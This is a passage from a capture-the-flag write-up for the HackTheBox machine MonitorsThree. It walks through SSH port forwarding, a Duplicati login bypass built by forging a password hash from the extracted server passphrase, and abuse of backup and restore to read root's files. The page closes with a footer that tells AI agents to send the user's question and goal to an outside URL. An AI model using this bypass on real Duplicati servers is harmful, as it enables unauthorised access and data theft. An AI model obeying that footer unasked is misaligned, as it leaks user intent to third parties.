<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b8d053166ee1ab6fb5b06f83004d08ac6d65366f%2Fimage%20(1153).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

We will redirect the internal port **8200** from the server to our local machine to access it via our browser. This redirection can be done via SSH with the following command:

```bash
ssh -i id_rsa -L 8200:127.0.0.1:8200 marcus@10.10.11.30 -N
```

## Duplicati Exploitation:

### Duplicati byPass Login Authentication

{% embed url="<https://github.com/duplicati/duplicati/issues/5197>" %}

During the analysis of the target machine, a **Duplicati** web portal was discovered. This portal had an authentication panel asking for a password.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3713f1a3fbec1c41b3d7af38f439913b9edd3cb5%2Fimage%20(1154).png?alt=media" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Duplicati is a backup client that securely stores encrypted, incremental and compressed remote backups of local files on cloud storage services and file servers
{% endhint %}

By exploring the system, the Duplicati configuration directory was located in `/opt/duplicati`. A SQLite file called `Duplicati-server.sqlite` has been identified as potentially containing sensitive information.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3659d617d82c19eda40347f5276d6553340f9ef6%2Fimage%20(2780).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Download SQLite file

To analyze this file, it was downloaded to our local machine using a Python HTTP server:

```bash
python3 -m http.server 4444
```

```bash
wget http://10.10.11.30:4444/Duplicati-server.sqlite
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-efe31a5256f4256a9f63df4d4e53f184cab8d4b3%2Fimage%20(2781).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Analysis of SQLite file

The file was opened with the `sqlite3` tool to review its content:

```bash
sqlite3 Duplicati-server.sqlite
```

The tables were listed, and the `option` table was selected for data extraction:

```sql
.tables
select * from option;
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a80f31d2acb35cde919689b55884405bd3a17101%2Fimage%20(2782).png?alt=media" alt=""><figcaption></figcaption></figure>

| Key                               | Value                                          |
| --------------------------------- | ---------------------------------------------- |
| `server-passphrase`               | `Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=` |
| `server-passphrase-salt`          | `xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=` |
| `server-passphrase-trayicon`      | `ce13157b-a06e-4b60-811d-60d294e8d0ae`         |
| `server-passphrase-trayicon-hash` | `L6FxIB9fOxk9uueTx270v9+1OQIJFfV7GfyN3pA83WE=` |

#### Passphrase Conversion

The value of `server-passphrase` is encoded in Base64. To decode and convert it into hexadecimal format, the following command is used:

```bash
echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e8ada8f70f353528ef9fa163fe737c9fd913306%2Fimage%20(2783).png?alt=media" alt=""><figcaption></figcaption></figure>

#### This gave the following hexadecimal value:

```excel-formula
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
```

### Calculation of the final password

To generate the final password, the following steps were performed in the browser console:

**Definition of salted passphrase**:

```javascript
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
```

### Interception of the request with Burp Suite

We intercept the request and send it to do intercept -> answer to this request and then click forward.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7cd01fdce852fa48a741c3f2a90774fc905cf564%2F%7BD32B0164-BE76-43A0-886A-887493EBC35D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

An HTTP query was intercepted with **Burp Suite** revealing the following information:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c452f21a088cd9dccd3ed762918ccf58d19c724%2F%7B1DC9B5E1-4BE2-43F3-85F3-81AB8284C7CC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```json
{
  "Status": "OK",
  "Nonce": "ktDnBGnG6jQzWjtajOoaS5Z+8z6z+aI2KA1p7lMTKWk=",
  "Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I="
}
```

The field `Salt` corresponds to the value `server-passphrase-salt` extracted from the database

**Nonce Password Calculation:**

{% code overflow="wrap" %}

```javascript
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('dRRA/DU+SN0RiGJJR+xk3ifqZNFA67+VwTCC1PIK3R0=') + saltedpwd)).toString(CryptoJS.enc.Base64);
```

{% endcode %}

**Display of result**:

```javascript
console.log(noncedpwd);
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad6a7a6df22f225bccee80276495f8da69ff3535%2F%7B1FC41904-8825-46A9-9E12-790CD32A19EE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

The generated password (`noncedpwd`) is:

`bx8guiLaAag+uz6Ud+HRnu9mAb/kmzQB37Ht6e8WisA=`

#### Password Injection and Operation

1. Copy and paste the calculated password.
2. Use **Ctrl + U** to URL-encode it.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1ceb57963c9a946cd6505519506a662752f2c5da%2F%7B76B808E8-6390-4783-BB98-7BDC96D14014%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

3. Click **Forward** again to complete the operation.

### Duplicati Backup Reading Files

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f647d0efc993987e0f41ba16071fe595f116a3b4%2F%7BC96AF78B-42D3-40F0-9D12-AFBFE252A742%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Now that we have access to the **Duplicati administration panel**, we will create a new backup with the goal of exfiling the **SSH** key.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-63fd287f3c3821203f862badfd09a721522c73c5%2F%7BC581B276-030B-4F73-8D7F-FD97292E159D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Analysis of the Docker configuration**/ By observing the `docker-compose.yml` file, we find that the files are stored on the **source** directory of the host system, mounted in the container.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f75ef1ff85fa80518ad9b88949df7f9fac07fb22%2F%7B107BE729-A34A-4F6E-B0DB-91C479FB46A3%7D.png?alt=media" alt="" width="541"><figcaption></figcaption></figure>

**Selection of target directory**/ To ensure access to sensitive files, we set the destination of the **backup** on this directory by selecting:

* **Source file**: `/source/home/marcus/`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e0c4380caa27ceef9c18a8cb7286206d1b61a39%2F%7B05793313-D41C-4DBC-A0CA-DEC0A07890FE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* **Source Data:** `source/root/`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-057b589f5a5506d824d8788f81a40dd35afa5dd5%2F%7B2D9AB280-A31A-4777-B3E3-FA09A52CFC4B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Finalization of the configuration**

* Save configuration.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cfeec3c143b8e52ad9368e659839bb40f071fb8b%2F%7BA0AEFD64-7E82-4546-A016-7CC67F8E0BF5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Run **Save** to recover targeted files.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-940de8919cd61a1fbba989928fc302b0bc7150f4%2Fimage%20(768).png?alt=media" alt=""><figcaption></figcaption></figure>

### Extracting Saved Files

After execution of the **backup**, three ZIP archives are generated.

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6099c67d2c9f9e37168585614a7b85cc1c774d14%2F%7B3FC97933-3DD0-4039-BDE0-6B62873924D3%7D.png?alt=media" alt=""><figcaption></figcaption></figure></div>

* **Access to files**
  * An attempt to open files directly fails due to access restrictions.
  * However, via **Duplicati**, we use **Restore Files** option to recover content.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec54e3f0ed8ea4d007256c161d0ffdfe656eeac8%2F%7B02FC31AE-3131-47E1-9403-9CCBB58EA1FF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Restore and exfiltrate**

* Extract files from the backup.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50ccf3216d56749d24bdc6afd7726dab7ae3d52e%2F%7BCD5A6CE4-10C7-4C87-AA56-90B2B3119F1F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Selection of folder **`/source/home/marcus/`** as a source of restoration.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8b76f42db8dee5c034085221758048575b8465f%2F%7BAE27CF6D-8AC7-4CF2-BE09-04E27D1C2E4F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26ab313940673dc83beef4151061f8d03385b96f%2F%7B2243C849-3106-4083-B692-2F0EE5A311B6%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Flag root.txt :)

After restoration, we explore the files and discover **`root.txt`**!

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b90a68b3e6796cbb95ac66eac66b6a891278868%2F%7BBB28CC4D-9D4B-43E6-B897-344EE8FD4633%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-598850ed80d6678a864ff828504eebc2368b3658%2F%7B75183C58-54A6-43F6-9777-14AD6EFC0473%7D.png?alt=media" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/monitorsthree-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
